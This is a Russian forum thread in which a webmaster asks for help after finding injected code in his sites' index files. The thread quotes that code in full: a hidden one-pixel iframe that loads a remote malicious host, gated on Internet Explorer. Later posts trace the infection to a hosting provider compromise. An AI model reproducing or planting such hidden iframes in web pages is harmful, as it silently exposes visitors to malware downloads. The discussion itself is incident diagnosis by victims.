Вопрос веб-девелоперам

[_t_]

Кто-нить сталкивался с такой хренью? Какой-то **** перезаражал все мои сайты
Как с ней бороться?
Эта фигня в индексных файлах сидит:
script type="text/javascript"
if (navigator.userAgent.indexOf('MSIE') != -1) { document.writeln(''); }
/script
iframe src='http://sun-5.org/in.cgi?default' width='1' height='1' style='visibility: hidden;' /iframe>

[Roy]

А что ты понимаешь под словом "бороться"?
Как это исправить или как не допустить повторения?

Вообще о таком слышу впервые... Но могу чо-нить посоветовать. Только ты ответь на вопрос.

[NN]

Походу при каком то условии или переполнении (navigator.userAgent.indexOf('MSIE') != -1) она отсылается по адресу и там сидит какая то фигня (http://sun-5.org/in.cgi?default' width='1' height='1' style='visibility: hidden;' /iframe>).
Ты туда писал что нить?
Тогда я думаю там троян сидит.

[kkv]

А что такое "индексные файлы"? На какой технологии работают твои сайты?

[XAPuTOH]

Видимо файлы типа index.php и т.п. кароче с которых по умолчанию сайт грузиться.

Ты ссылку кинь хотяб на один из сайтов где у тебя такая бяда. там посмотрим че за хрень. на чем сайты написаны?

ПРостое удаление из скриптов не помогает чтоли?

[kkv]

Подозреваю что у него какое-нибудь FrontPage Server Extension стоит...

[_t_]

кароче вчера все-таки разобрался: эта фигня приключилась со всеми сайтами, которые сидят на валуехосте.

нашел вот здесь обсуждение
http://forum.searchengines.ru/showthread.php?t=84225&page=5

еси у кого сайты на валуе - тоже посмотрите.

[Vover]

Около 470 сайтов — клиентов питерского хостинг-провайдера Valuehost оказались заражены вредоносной программой Trojan-Downloader.JS.Psyme.ct. Посещать эти сайты небезопасно — компьютер посетителя может и сам подцепить вирус, если на нем нет специальных защитных программ. Впрочем, как говорят другие хостинг-провайдеры, вины Valuehost в этом может и не быть...
http://www.vedomosti.ru/newspaper/article.shtml?2006/12/07/117223

Петербургский юридический портал Lawmix.ru предлагает помощь всем клиентам Valuehost, которые решат судиться со своей хостинг-компанией.
http://www.securitylab.ru/news/278286.php?PAGEN_1=2&el_id=278286

Здесь обсуждение:
http://www.hostforum.ru/showthread.php?t=11107&page=1&pp=10
"Уже было 2 ответа администрации в этой теме.
1. смена всех паролей
2. с нашей стороны в ближайшее время будет коренным образом изменена политика и реализация авторизации клиентов."

[_t_]

Валуехост ублюдки. За последний год с ними стока косяков было! А переносить кучу сайтов времени и желания тоже нет... тем более у них уебские контракты